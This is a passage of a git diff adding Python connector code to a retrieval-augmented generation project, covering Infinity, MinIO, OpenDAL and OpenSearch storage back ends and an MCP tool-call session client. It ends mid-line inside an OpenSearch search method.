+ embedding_clmns.append((n, int(r.group(1)))) + + docs = copy.deepcopy(documents) + for d in docs: + assert "_id" not in d + assert "id" in d + for k, v in d.items(): + if field_keyword(k): + if isinstance(v, list): + d[k] = "###".join(v) + else: + d[k] = v + elif re.search(r"_feas$", k): + d[k] = json.dumps(v) + elif k == "kb_id": + if isinstance(d[k], list): + d[k] = d[k][0] # since d[k] is a list, but we need a str + elif k == "position_int": + assert isinstance(v, list) + arr = [num for row in v for num in row] + d[k] = "_".join(f"{num:08x}" for num in arr) + elif k in ["page_num_int", "top_int"]: + assert isinstance(v, list) + d[k] = "_".join(f"{num:08x}" for num in v) + else: + d[k] = v + + for n, vs in embedding_clmns: + if n in d: + continue + d[n] = [0] * vs + ids = ["'{}'".format(d["id"]) for d in docs] + str_ids = ", ".join(ids) + str_filter = f"id IN ({str_ids})" + table_instance.delete(str_filter) + # for doc in documents: + # logger.info(f"insert position_int: {doc['position_int']}") + # logger.info(f"InfinityConnection.insert {json.dumps(documents)}") + table_instance.insert(docs) + self.connPool.release_conn(inf_conn) + logger.debug(f"INFINITY inserted into {table_name} {str_ids}.") + return [] + + def update(self, condition: dict, newValue: dict, indexName: str, knowledgebaseId: str) -> bool: + # if 'position_int' in newValue: + # logger.info(f"update position_int: {newValue['position_int']}") + inf_conn = self.connPool.get_conn() + db_instance = inf_conn.get_database(self.dbName) + table_name = f"{indexName}_{knowledgebaseId}" + table_instance = db_instance.get_table(table_name) + # if "exists" in condition: + # del condition["exists"] + + clmns = {} + if table_instance: + for n, ty, de, _ in table_instance.show_columns().rows(): + clmns[n] = (ty, de) + filter = equivalent_condition_to_str(condition, table_instance) + removeValue = {} + for k, v in list(newValue.items()): + if field_keyword(k): + if isinstance(v, list): + newValue[k] = "###".join(v) + else: + newValue[k] = v + elif re.search(r"_feas$", k): + newValue[k] = json.dumps(v) + elif k == "kb_id": + if isinstance(newValue[k], list): + newValue[k] = newValue[k][0] # since d[k] is a list, but we need a str + elif k == "position_int": + assert isinstance(v, list) + arr = [num for row in v for num in row] + newValue[k] = "_".join(f"{num:08x}" for num in arr) + elif k in ["page_num_int", "top_int"]: + assert isinstance(v, list) + newValue[k] = "_".join(f"{num:08x}" for num in v) + elif k == "remove": + if isinstance(v, str): + assert v in clmns, f"'{v}' should be in '{clmns}'." + ty, de = clmns[v] + if ty.lower().find("cha"): + if not de: + de = "" + newValue[v] = de + else: + for kk, vv in v.items(): + removeValue[kk] = vv + del newValue[k] + else: + newValue[k] = v + + remove_opt = {} # "[k,new_value]": [id_to_update, ...] + if removeValue: + col_to_remove = list(removeValue.keys()) + row_to_opt = table_instance.output(col_to_remove + ["id"]).filter(filter).to_df() + logger.debug(f"INFINITY search table {str(table_name)}, filter {filter}, result: {str(row_to_opt[0])}") + row_to_opt = self.getFields(row_to_opt, col_to_remove) + for id, old_v in row_to_opt.items(): + for k, remove_v in removeValue.items(): + if remove_v in old_v[k]: + new_v = old_v[k].copy() + new_v.remove(remove_v) + kv_key = json.dumps([k, new_v]) + if kv_key not in remove_opt: + remove_opt[kv_key] = [id] + else: + remove_opt[kv_key].append(id) + + logger.debug(f"INFINITY update table {table_name}, filter {filter}, newValue {newValue}.") + for update_kv, ids in remove_opt.items(): + k, v = json.loads(update_kv) + table_instance.update(filter + " AND id in ({0})".format(",".join([f"'{id}'" for id in ids])), {k: "###".join(v)}) + + table_instance.update(filter, newValue) + self.connPool.release_conn(inf_conn) + return True + + def delete(self, condition: dict, indexName: str, knowledgebaseId: str) -> int: + inf_conn = self.connPool.get_conn() + db_instance = inf_conn.get_database(self.dbName) + table_name = f"{indexName}_{knowledgebaseId}" + try: + table_instance = db_instance.get_table(table_name) + except Exception: + logger.warning(f"Skipped deleting from table {table_name} since the table doesn't exist.") + return 0 + filter = equivalent_condition_to_str(condition, table_instance) + logger.debug(f"INFINITY delete table {table_name}, filter {filter}.") + res = table_instance.delete(filter) + self.connPool.release_conn(inf_conn) + return res.deleted_rows + + """ + Helper functions for search result + """ + + def getTotal(self, res: tuple[pd.DataFrame, int] | pd.DataFrame) -> int: + if isinstance(res, tuple): + return res[1] + return len(res) + + def getChunkIds(self, res: tuple[pd.DataFrame, int] | pd.DataFrame) -> list[str]: + if isinstance(res, tuple): + res = res[0] + return list(res["id"]) + + def getFields(self, res: tuple[pd.DataFrame, int] | pd.DataFrame, fields: list[str]) -> dict[str, dict]: + if isinstance(res, tuple): + res = res[0] + if not fields: + return {} + fieldsAll = fields.copy() + fieldsAll.append("id") + column_map = {col.lower(): col for col in res.columns} + matched_columns = {column_map[col.lower()]: col for col in set(fieldsAll) if col.lower() in column_map} + none_columns = [col for col in set(fieldsAll) if col.lower() not in column_map] + + res2 = res[matched_columns.keys()] + res2 = res2.rename(columns=matched_columns) + res2.drop_duplicates(subset=["id"], inplace=True) + + for column in res2.columns: + k = column.lower() + if field_keyword(k): + res2[column] = res2[column].apply(lambda v: [kwd for kwd in v.split("###") if kwd]) + elif re.search(r"_feas$", k): + res2[column] = res2[column].apply(lambda v: json.loads(v) if v else {}) + elif k == "position_int": + + def to_position_int(v): + if v: + arr = [int(hex_val, 16) for hex_val in v.split("_")] + v = [arr[i : i + 5] for i in range(0, len(arr), 5)] + else: + v = [] + return v + + res2[column] = res2[column].apply(to_position_int) + elif k in ["page_num_int", "top_int"]: + res2[column] = res2[column].apply(lambda v: [int(hex_val, 16) for hex_val in v.split("_")] if v else []) + else: + pass + for column in none_columns: + res2[column] = None + + return res2.set_index("id").to_dict(orient="index") + + def getHighlight(self, res: tuple[pd.DataFrame, int] | pd.DataFrame, keywords: list[str], fieldnm: str): + if isinstance(res, tuple): + res = res[0] + ans = {} + num_rows = len(res) + column_id = res["id"] + if fieldnm not in res: + return {} + for i in range(num_rows): + id = column_id[i] + txt = res[fieldnm][i] + if re.search(r"<em>[^<>]+</em>", txt, flags=re.IGNORECASE | re.MULTILINE): + ans[id] = txt + continue + txt = re.sub(r"[\r\n]", " ", txt, flags=re.IGNORECASE | re.MULTILINE) + txts = [] + for t in re.split(r"[.?!;\n]", txt): + if is_english([t]): + for w in keywords: + t = re.sub( + r"(^|[ .?/'\"\(\)!,:;-])(%s)([ .?/'\"\(\)!,:;-])" % re.escape(w), + r"\1<em>\2</em>\3", + t, + flags=re.IGNORECASE | re.MULTILINE, + ) + else: + for w in sorted(keywords, key=len, reverse=True): + t = re.sub( + re.escape(w), + f"<em>{w}</em>", + t, + flags=re.IGNORECASE | re.MULTILINE, + ) + if not re.search(r"<em>[^<>]+</em>", t, flags=re.IGNORECASE | re.MULTILINE): + continue + txts.append(t) + if txts: + ans[id] = "...".join(txts) + else: + ans[id] = txt + return ans + + def getAggregation(self, res: tuple[pd.DataFrame, int] | pd.DataFrame, fieldnm: str): + """ + Manual aggregation for tag fields since Infinity doesn't provide native aggregation + """ + from collections import Counter + + # Extract DataFrame from result + if isinstance(res, tuple): + df, _ = res + else: + df = res + + if df.empty or fieldnm not in df.columns: + return [] + + # Aggregate tag counts + tag_counter = Counter() + + for value in df[fieldnm]: + if pd.isna(value) or not value: + continue + + # Handle different tag formats + if isinstance(value, str): + # Split by ### for tag_kwd field or comma for other formats + if fieldnm == "tag_kwd" and "###" in value: + tags = [tag.strip() for tag in value.split("###") if tag.strip()] + else: + # Try comma separation as fallback + tags = [tag.strip() for tag in value.split(",") if tag.strip()] + + for tag in tags: + if tag: # Only count non-empty tags + tag_counter[tag] += 1 + elif isinstance(value, list): + # Handle list format + for tag in value: + if tag and isinstance(tag, str): + tag_counter[tag.strip()] += 1 + + # Return as list of [tag, count] pairs, sorted by count descending + return [[tag, count] for tag, count in tag_counter.most_common()] + + """ + SQL + """ + + def sql(sql: str, fetch_size: int, format: str): + raise NotImplementedError("Not implemented") diff --git a/rag/utils/mcp_tool_call_conn.py b/rag/utils/mcp_tool_call_conn.py new file mode 100644 index 0000000..4af7261 --- /dev/null +++ b/rag/utils/mcp_tool_call_conn.py @@ -0,0 +1,261 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import asyncio +import logging +import threading +import weakref +from concurrent.futures import ThreadPoolExecutor +from concurrent.futures import TimeoutError as FuturesTimeoutError +from string import Template +from typing import Any, Literal + +from typing_extensions import override + +from api.db import MCPServerType +from mcp.client.session import ClientSession +from mcp.client.sse import sse_client +from mcp.client.streamable_http import streamablehttp_client +from mcp.types import CallToolResult, ListToolsResult, TextContent, Tool +from rag.llm.chat_model import ToolCallSession + +MCPTaskType = Literal["list_tools", "tool_call"] +MCPTask = tuple[MCPTaskType, dict[str, Any], asyncio.Queue[Any]] + + +class MCPToolCallSession(ToolCallSession): + _ALL_INSTANCES: weakref.WeakSet["MCPToolCallSession"] = weakref.WeakSet() + + def __init__(self, mcp_server: Any, server_variables: dict[str, Any] | None = None) -> None: + self.__class__._ALL_INSTANCES.add(self) + + self._mcp_server = mcp_server + self._server_variables = server_variables or {} + self._queue = asyncio.Queue() + self._close = False + + self._event_loop = asyncio.new_event_loop() + self._thread_pool = ThreadPoolExecutor(max_workers=1) + self._thread_pool.submit(self._event_loop.run_forever) + + asyncio.run_coroutine_threadsafe(self._mcp_server_loop(), self._event_loop) + + async def _mcp_server_loop(self) -> None: + url = self._mcp_server.url.strip() + raw_headers: dict[str, str] = self._mcp_server.headers or {} + headers: dict[str, str] = {} + + for h, v in raw_headers.items(): + nh = Template(h).safe_substitute(self._server_variables) + nv = Template(v).safe_substitute(self._server_variables) + headers[nh] = nv + + if self._mcp_server.server_type == MCPServerType.SSE: + # SSE transport + try: + async with sse_client(url, headers) as stream: + async with ClientSession(*stream) as client_session: + try: + await asyncio.wait_for(client_session.initialize(), timeout=5) + logging.info("client_session initialized successfully") + await self._process_mcp_tasks(client_session) + except asyncio.TimeoutError: + msg = f"Timeout initializing client_session for server {self._mcp_server.id}" + logging.error(msg) + await self._process_mcp_tasks(None, msg) + except Exception: + msg = "Connection failed (possibly due to auth error). Please check authentication settings first" + await self._process_mcp_tasks(None, msg) + + elif self._mcp_server.server_type == MCPServerType.STREAMABLE_HTTP: + # Streamable HTTP transport + try: + async with streamablehttp_client(url, headers) as (read_stream, write_stream, _): + async with ClientSession(read_stream, write_stream) as client_session: + try: + await asyncio.wait_for(client_session.initialize(), timeout=5) + logging.info("client_session initialized successfully") + await self._process_mcp_tasks(client_session) + except asyncio.TimeoutError: + msg = f"Timeout initializing client_session for server {self._mcp_server.id}" + logging.error(msg) + await self._process_mcp_tasks(None, msg) + except Exception as e: + logging.exception(e) + msg = "Connection failed (possibly due to auth error). Please check authentication settings first" + await self._process_mcp_tasks(None, msg) + + else: + await self._process_mcp_tasks(None, f"Unsupported MCP server type: {self._mcp_server.server_type}, id: {self._mcp_server.id}") + + async def _process_mcp_tasks(self, client_session: ClientSession | None, error_message: str | None = None) -> None: + while not self._close: + try: + mcp_task, arguments, result_queue = await asyncio.wait_for(self._queue.get(), timeout=1) + except asyncio.TimeoutError: + continue + + logging.debug(f"Got MCP task {mcp_task} arguments {arguments}") + + r: Any = None + + if not client_session or error_message: + r = ValueError(error_message) + await result_queue.put(r) + continue + + try: + if mcp_task == "list_tools": + r = await client_session.list_tools() + elif mcp_task == "tool_call": + r = await client_session.call_tool(**arguments) + else: + r = ValueError(f"Unknown MCP task {mcp_task}") + except Exception as e: + r = e + + await result_queue.put(r) + + async def _call_mcp_server(self, task_type: MCPTaskType, timeout: float | int = 8, **kwargs) -> Any: + results = asyncio.Queue() + await self._queue.put((task_type, kwargs, results)) + + try: + result: CallToolResult | Exception = await asyncio.wait_for(results.get(), timeout=timeout) + if isinstance(result, Exception): + raise result + return result + except asyncio.TimeoutError: + raise asyncio.TimeoutError(f"MCP task '{task_type}' timeout after {timeout}s") + except Exception: + raise + + async def _call_mcp_tool(self, name: str, arguments: dict[str, Any], timeout: float | int = 10) -> str: + result: CallToolResult = await self._call_mcp_server("tool_call", name=name, arguments=arguments, timeout=timeout) + + if result.isError: + return f"MCP server error: {result.content}" + + # For now, we only support text content + if isinstance(result.content[0], TextContent): + return result.content[0].text + else: + return f"Unsupported content type {type(result.content)}" + + async def _get_tools_from_mcp_server(self, timeout: float | int = 8) -> list[Tool]: + try: + result: ListToolsResult = await self._call_mcp_server("list_tools", timeout=timeout) + return result.tools + except Exception: + raise + + def get_tools(self, timeout: float | int = 10) -> list[Tool]: + future = asyncio.run_coroutine_threadsafe(self._get_tools_from_mcp_server(timeout=timeout), self._event_loop) + try: + return future.result(timeout=timeout) + except FuturesTimeoutError: + msg = f"Timeout when fetching tools from MCP server: {self._mcp_server.id} (timeout={timeout})" + logging.error(msg) + raise RuntimeError(msg) + except Exception: + logging.exception(f"Error fetching tools from MCP server: {self._mcp_server.id}") + raise + + @override + def tool_call(self, name: str, arguments: dict[str, Any], timeout: float | int = 10) -> str: + future = asyncio.run_coroutine_threadsafe(self._call_mcp_tool(name, arguments), self._event_loop) + try: + return future.result(timeout=timeout) + except FuturesTimeoutError: + logging.error(f"Timeout calling tool '{name}' on MCP server: {self._mcp_server.id} (timeout={timeout})") + return f"Timeout calling tool '{name}' (timeout={timeout})." + except Exception as e: + logging.exception(f"Error calling tool '{name}' on MCP server: {self._mcp_server.id}") + return f"Error calling tool '{name}': {e}." + + async def close(self) -> None: + if self._close: + return + + self._close = True + self._event_loop.call_soon_threadsafe(self._event_loop.stop) + self._thread_pool.shutdown(wait=True) + self.__class__._ALL_INSTANCES.discard(self) + + def close_sync(self, timeout: float | int = 5) -> None: + if not self._event_loop.is_running(): + logging.warning(f"Event loop already stopped for {self._mcp_server.id}") + return + + future = asyncio.run_coroutine_threadsafe(self.close(), self._event_loop) + try: + future.result(timeout=timeout) + except FuturesTimeoutError: + logging.error(f"Timeout while closing session for server {self._mcp_server.id} (timeout={timeout})") + except Exception: + logging.exception(f"Unexpected error during close_sync for {self._mcp_server.id}") + + +def close_multiple_mcp_toolcall_sessions(sessions: list[MCPToolCallSession]) -> None: + logging.info(f"Want to clean up {len(sessions)} MCP sessions") + + async def _gather_and_stop() -> None: + try: + await asyncio.gather(*[s.close() for s in sessions if s is not None], return_exceptions=True) + finally: + loop.call_soon_threadsafe(loop.stop) + + loop = asyncio.new_event_loop() + thread = threading.Thread(target=loop.run_forever, daemon=True) + thread.start() + + asyncio.run_coroutine_threadsafe(_gather_and_stop(), loop).result() + + thread.join() + logging.info(f"{len(sessions)} MCP sessions has been cleaned up. {len(list(MCPToolCallSession._ALL_INSTANCES))} in global context.") + + +def shutdown_all_mcp_sessions(): + """Gracefully shutdown all active MCPToolCallSession instances.""" + sessions = list(MCPToolCallSession._ALL_INSTANCES) + if not sessions: + logging.info("No MCPToolCallSession instances to close.") + return + + logging.info(f"Shutting down {len(sessions)} MCPToolCallSession instances...") + close_multiple_mcp_toolcall_sessions(sessions) + logging.info("All MCPToolCallSession instances have been closed.") + + +def mcp_tool_metadata_to_openai_tool(mcp_tool: Tool|dict) -> dict[str, Any]: + if isinstance(mcp_tool, dict): + return { + "type": "function", + "function": { + "name": mcp_tool["name"], + "description": mcp_tool["description"], + "parameters": mcp_tool["inputSchema"], + }, + } + + return { + "type": "function", + "function": { + "name": mcp_tool.name, + "description": mcp_tool.description, + "parameters": mcp_tool.inputSchema, + }, + } diff --git a/rag/utils/minio_conn.py b/rag/utils/minio_conn.py new file mode 100644 index 0000000..c26e560 --- /dev/null +++ b/rag/utils/minio_conn.py @@ -0,0 +1,143 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import time +from minio import Minio +from minio.error import S3Error +from io import BytesIO +from rag import settings +from rag.utils import singleton + + +@singleton +class RAGFlowMinio: + def __init__(self): + self.conn = None + self.__open__() + + def __open__(self): + try: + if self.conn: + self.__close__() + except Exception: + pass + + try: + self.conn = Minio(settings.MINIO["host"], + access_key=settings.MINIO["user"], + secret_key=settings.MINIO["password"], + secure=False + ) + except Exception: + logging.exception( + "Fail to connect %s " % settings.MINIO["host"]) + + def __close__(self): + del self.conn + self.conn = None + + def health(self): + bucket, fnm, binary = "txtxtxtxt1", "txtxtxtxt1", b"_t@@@1" + if not self.conn.bucket_exists(bucket): + self.conn.make_bucket(bucket) + r = self.conn.put_object(bucket, fnm, + BytesIO(binary), + len(binary) + ) + return r + + def put(self, bucket, fnm, binary): + for _ in range(3): + try: + if not self.conn.bucket_exists(bucket): + self.conn.make_bucket(bucket) + + r = self.conn.put_object(bucket, fnm, + BytesIO(binary), + len(binary) + ) + return r + except Exception: + logging.exception(f"Fail to put {bucket}/{fnm}:") + self.__open__() + time.sleep(1) + + def rm(self, bucket, fnm): + try: + self.conn.remove_object(bucket, fnm) + except Exception: + logging.exception(f"Fail to remove {bucket}/{fnm}:") + + def get(self, bucket, filename): + for _ in range(1): + try: + r = self.conn.get_object(bucket, filename) + return r.read() + except Exception: + logging.exception(f"Fail to get {bucket}/{filename}") + self.__open__() + time.sleep(1) + return + + def obj_exist(self, bucket, filename): + try: + if not self.conn.bucket_exists(bucket): + return False + if self.conn.stat_object(bucket, filename): + return True + else: + return False + except S3Error as e: + if e.code in ["NoSuchKey", "NoSuchBucket", "ResourceNotFound"]: + return False + except Exception: + logging.exception(f"obj_exist {bucket}/{filename} got exception") + return False + + def bucket_exists(self, bucket): + try: + if not self.conn.bucket_exists(bucket): + return False + else: + return True + except S3Error as e: + if e.code in ["NoSuchKey", "NoSuchBucket", "ResourceNotFound"]: + return False + except Exception: + logging.exception(f"bucket_exist {bucket} got exception") + return False + + def get_presigned_url(self, bucket, fnm, expires): + for _ in range(10): + try: + return self.conn.get_presigned_url("GET", bucket, fnm, expires) + except Exception: + logging.exception(f"Fail to get_presigned {bucket}/{fnm}:") + self.__open__() + time.sleep(1) + return + + def remove_bucket(self, bucket): + try: + if self.conn.bucket_exists(bucket): + objects_to_delete = self.conn.list_objects(bucket, recursive=True) + for obj in objects_to_delete: + self.conn.remove_object(bucket, obj.object_name) + self.conn.remove_bucket(bucket) + except Exception: + logging.exception(f"Fail to remove bucket {bucket}") + diff --git a/rag/utils/opendal_conn.py b/rag/utils/opendal_conn.py new file mode 100644 index 0000000..7642b33 --- /dev/null +++ b/rag/utils/opendal_conn.py @@ -0,0 +1,118 @@ +import opendal +import logging +import pymysql +from urllib.parse import quote_plus + +from api.utils.configs import get_base_config +from rag.utils import singleton + + +CREATE_TABLE_SQL = """ +CREATE TABLE IF NOT EXISTS `{}` ( + `key` VARCHAR(255) PRIMARY KEY, + `value` LONGBLOB, + `created_at` TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + `updated_at` TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP +); +""" +SET_MAX_ALLOWED_PACKET_SQL = """ +SET GLOBAL max_allowed_packet={} +""" + + +def get_opendal_config(): + try: + opendal_config = get_base_config('opendal', {}) + if opendal_config.get("scheme", "mysql") == 'mysql': + mysql_config = get_base_config('mysql', {}) + max_packet = mysql_config.get("max_allowed_packet", 134217728) + kwargs = { + "scheme": "mysql", + "host": mysql_config.get("host", "127.0.0.1"), + "port": str(mysql_config.get("port", 3306)), + "user": mysql_config.get("user", "root"), + "password": mysql_config.get("password", ""), + "database": mysql_config.get("name", "test_open_dal"), + "table": opendal_config.get("config", {}).get("oss_table", "opendal_storage"), + "max_allowed_packet": str(max_packet) + } + kwargs["connection_string"] = f"mysql://{kwargs['user']}:{quote_plus(kwargs['password'])}@{kwargs['host']}:{kwargs['port']}/{kwargs['database']}?max_allowed_packet={max_packet}" + else: + scheme = opendal_config.get("scheme") + config_data = opendal_config.get("config", {}) + kwargs = {"scheme": scheme, **config_data} + logging.info("Loaded OpenDAL configuration from yaml: %s", kwargs) + return kwargs + except Exception as e: + logging.error("Failed to load OpenDAL configuration from yaml: %s", str(e)) + raise + + +@singleton +class OpenDALStorage: + def __init__(self): + self._kwargs = get_opendal_config() + self._scheme = self._kwargs.get('scheme', 'mysql') + if self._scheme == 'mysql': + self.init_db_config() + self.init_opendal_mysql_table() + self._operator = opendal.Operator(**self._kwargs) + + logging.info("OpenDALStorage initialized successfully") + + def health(self): + bucket, fnm, binary = "txtxtxtxt1", "txtxtxtxt1", b"_t@@@1" + r = self._operator.write(f"{bucket}/{fnm}", binary) + return r + + def put(self, bucket, fnm, binary): + self._operator.write(f"{bucket}/{fnm}", binary) + + def get(self, bucket, fnm): + return self._operator.read(f"{bucket}/{fnm}") + + def rm(self, bucket, fnm): + self._operator.delete(f"{bucket}/{fnm}") + self._operator.__init__() + + def scan(self, bucket, fnm): + return self._operator.scan(f"{bucket}/{fnm}") + + def obj_exist(self, bucket, fnm): + return self._operator.exists(f"{bucket}/{fnm}") + + + def init_db_config(self): + try: + conn = pymysql.connect( + host=self._kwargs['host'], + port=int(self._kwargs['port']), + user=self._kwargs['user'], + password=self._kwargs['password'], + database=self._kwargs['database'] + ) + cursor = conn.cursor() + max_packet = self._kwargs.get('max_allowed_packet', 4194304) # Default to 4MB if not specified + cursor.execute(SET_MAX_ALLOWED_PACKET_SQL.format(max_packet)) + conn.commit() + cursor.close() + conn.close() + logging.info(f"Database configuration initialized with max_allowed_packet={max_packet}") + except Exception as e: + logging.error(f"Failed to initialize database configuration: {str(e)}") + raise + + def init_opendal_mysql_table(self): + conn = pymysql.connect( + host=self._kwargs['host'], + port=int(self._kwargs['port']), + user=self._kwargs['user'], + password=self._kwargs['password'], + database=self._kwargs['database'] + ) + cursor = conn.cursor() + cursor.execute(CREATE_TABLE_SQL.format(self._kwargs['table'])) + conn.commit() + cursor.close() + conn.close() + logging.info(f"Table `{self._kwargs['table']}` initialized.") diff --git a/rag/utils/opensearch_conn.py b/rag/utils/opensearch_conn.py new file mode 100644 index 0000000..b53a612 --- /dev/null +++ b/rag/utils/opensearch_conn.py @@ -0,0 +1,561 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import re +import json +import time +import os + +import copy +from opensearchpy import OpenSearch, NotFoundError +from opensearchpy import UpdateByQuery, Q, Search, Index +from opensearchpy import ConnectionTimeout +from rag import settings +from rag.settings import TAG_FLD, PAGERANK_FLD +from rag.utils import singleton +from api.utils.file_utils import get_project_base_directory +from rag.utils.doc_store_conn import DocStoreConnection, MatchExpr, OrderByExpr, MatchTextExpr, MatchDenseExpr, \ + FusionExpr +from rag.nlp import is_english, rag_tokenizer + +ATTEMPT_TIME = 2 + +logger = logging.getLogger('ragflow.opensearch_conn') + + +@singleton +class OSConnection(DocStoreConnection): + def __init__(self): + self.info = {} + logger.info(f"Use OpenSearch {settings.OS['hosts']} as the doc engine.") + for _ in range(ATTEMPT_TIME): + try: + self.os = OpenSearch( + settings.OS["hosts"].split(","), + http_auth=(settings.OS["username"], settings.OS[ + "password"]) if "username" in settings.OS and "password" in settings.OS else None, + verify_certs=False, + timeout=600 + ) + if self.os: + self.info = self.os.info() + break + except Exception as e: + logger.warning(f"{str(e)}. Waiting OpenSearch {settings.OS['hosts']} to be healthy.") + time.sleep(5) + if not self.os.ping(): + msg = f"OpenSearch {settings.OS['hosts']} is unhealthy in 120s." + logger.error(msg) + raise Exception(msg) + v = self.info.get("version", {"number": "2.18.0"}) + v = v["number"].split(".")[0] + if int(v) < 2: + msg = f"OpenSearch version must be greater than or equal to 2, current version: {v}" + logger.error(msg) + raise Exception(msg) + fp_mapping = os.path.join(get_project_base_directory(), "conf", "os_mapping.json") + if not os.path.exists(fp_mapping): + msg = f"OpenSearch mapping file not found at {fp_mapping}" + logger.error(msg) + raise Exception(msg) + self.mapping = json.load(open(fp_mapping, "r")) + logger.info(f"OpenSearch {settings.OS['hosts']} is healthy.") + + """ + Database operations + """ + + def dbType(self) -> str: + return "opensearch" + + def health(self) -> dict: + health_dict = dict(self.os.cluster.health()) + health_dict["type"] = "opensearch" + return health_dict + + """ + Table operations + """ + + def createIdx(self, indexName: str, knowledgebaseId: str, vectorSize: int): + if self.indexExist(indexName, knowledgebaseId): + return True + try: + from opensearchpy.client import IndicesClient + return IndicesClient(self.os).create(index=indexName, + body=self.mapping) + except Exception: + logger.exception("OSConnection.createIndex error %s" % (indexName)) + + def deleteIdx(self, indexName: str, knowledgebaseId: str): + if len(knowledgebaseId) > 0: + # The index need to be alive after any kb deletion since all kb under this tenant are in one index. + return + try: + self.os.indices.delete(index=indexName, allow_no_indices=True) + except NotFoundError: + pass + except Exception: + logger.exception("OSConnection.deleteIdx error %s" % (indexName)) + + def indexExist(self, indexName: str, knowledgebaseId: str = None) -> bool: + s = Index(indexName, self.os) + for i in range(ATTEMPT_TIME): + try: + return s.exists() + except Exception as e: + logger.exception("OSConnection.indexExist got exception") + if str(e).find("Timeout") > 0 or str(e).find("Conflict") > 0: + continue + break + return False + + """ + CRUD operations + """ + + def search( + self, selectFields: list[str], + highlightFields: list[str], + condition: dict, + matchExprs: list[MatchExpr], + orderBy: OrderByExpr, + offset: int, + limit: int, + indexNames: str | list[str], + knowledgebaseIds: list[str], + aggFields: list[str] = [], + rank_feature: dict | None = None + ): + """ + Refers to https://github.com/opensearch-project/opensearch-py/blob/main/guides/dsl.md + """ + use_knn = False + if isinstance(indexNames, str): + indexNames = indexNames.split(",") + assert isinstance(indexNames, list) and len(indexNames) > 0 + assert "_id" not in condition + + bqry = Q("bool", must=[]) + condition["kb_id"] = knowledgebaseIds + for k, v in condition.items(): + if k == "available_int": + if v == 0: + bqry.filter.append(Q("range", available_int={"lt": 1})) + else: + bqry.filter.append( + Q("bool", must_not=Q("range", available_int={"lt": 1}))) + continue + if not v: + continue + if isinstance(v, list): + bqry.filter.append(Q("terms", **{k: v})) + elif isinstance(v, str) or isinstance(v, int): + bqry.filter.append(Q("term", **{k: v})) + else: + raise Exception( + f"Condition `{str(k)}={str(v)}` value type is {str(type(v))}, expected to be int, str or list.") + + s = Search() + vector_similarity_weight = 0.5 + for m in matchExprs: + if isinstance(m, FusionExpr) and m.method == "weighted_sum" and "weights" in m.fusion_params: + assert len(matchExprs) == 3 and isinstance(matchExprs[0], MatchTextExpr) and isinstance(matchExprs[1], + MatchDenseExpr) and isinstance( + matchExprs[2], FusionExpr) + weights = m.fusion_params["weights"] + vector_similarity_weight = float(weights.split(",")[1]) + knn_query = {} + for m in matchExprs: + if isinstance(m, MatchTextExpr): + minimum_should_match = m.extra_options.get("minimum_should_match", 0.0) + if isinstance(minimum_should_match, float): + minimum_should_match = str(int(minimum_should_match * 100)) + "%" + bqry.must.append(Q("query_string", fields=m.fields, + type="best_fields", query=m.matching_text, + minimum_should_match=minimum_should_match, + boost=1)) + bqry.boost = 1.0 - vector_similarity_weight + + # Elasticsearch has the encapsulation of KNN_search in python sdk + # while the Python SDK for OpenSearch does not provide encapsulation for KNN_search, + # the following codes implement KNN_search in OpenSearch using DSL + # Besides, Opensearch's DSL for KNN_search query syntax differs from that in Elasticsearch, I also made some adaptions for it + elif isinstance(m, MatchDenseExpr): + assert (bqry is not None) + similarity = 0.0 + if "similarity" in m.extra_options: + similarity = m.extra_options["similarity"] + use_knn = True + vector_column_name = m.vector_column_name + knn_query[vector_column_name] = {} + knn_query[vector_column_name]["vector"] = list(m.embedding_data) + knn_query[vector_column_name]["k"] = m.topn + knn_query[vector_column_name]["filter"] = bqry.to_dict() + knn_query[vector_column_name]["boost"] = similarity + + if bqry and rank_feature: + for fld, sc in rank_feature.items(): + if fld != PAGERANK_FLD: + fld = f"{TAG_FLD}.{fld}" + bqry.should.append(Q("rank_feature", field=fld, linear={}, boost=sc)) + + if bqry: + s = s.query(bqry) + for field in highlightFields: + s = s.highlight(field,force_source=True,no_match_size=30,require_field_match=False) + + if orderBy: + orders = list() + for field, order in orderBy.fields: + order = "asc" if order == 0 else "desc" + if field in ["page_num_int", "top_int"]: + order_info = {"order": order, "unmapped_type": "float", + "mode": "avg", "numeric_type": "double"} + elif field.endswith("_int") or field.endswith("_flt"): + order_info = {"order": order, "unmapped_type": "float"} + else: + order_info = {"order": order, "unmapped_type": "text"} + orders.append({field: order_info}) + s = s.sort(*orders) + + for fld in aggFields: + s.aggs.bucket(f'aggs_{fld}', 'terms', field=fld, size=1000000) + + if limit > 0: + s = s[offset:offset + limit] + q = s.to_dict() + logger.debug(f"OSConnection.search {str(indexNames)} query: " + json.dumps(q)) + + if use_knn: + del q["query"] + q["query"] = {"knn" : knn_query} + + for i in range(ATTEMPT_TIME): + try: + res = self.os.search(index=indexNames, + body=q, + timeout=600, + # search_type="dfs_query_then_fetch", + track_total_hits=True, + _source=True) + if str(res.get("timed_out", "")).lower() == "true": + raise Exception("OpenSearch Timeout.") + logger.debug(f"OSConnection.search {str(indexNames)} res: " 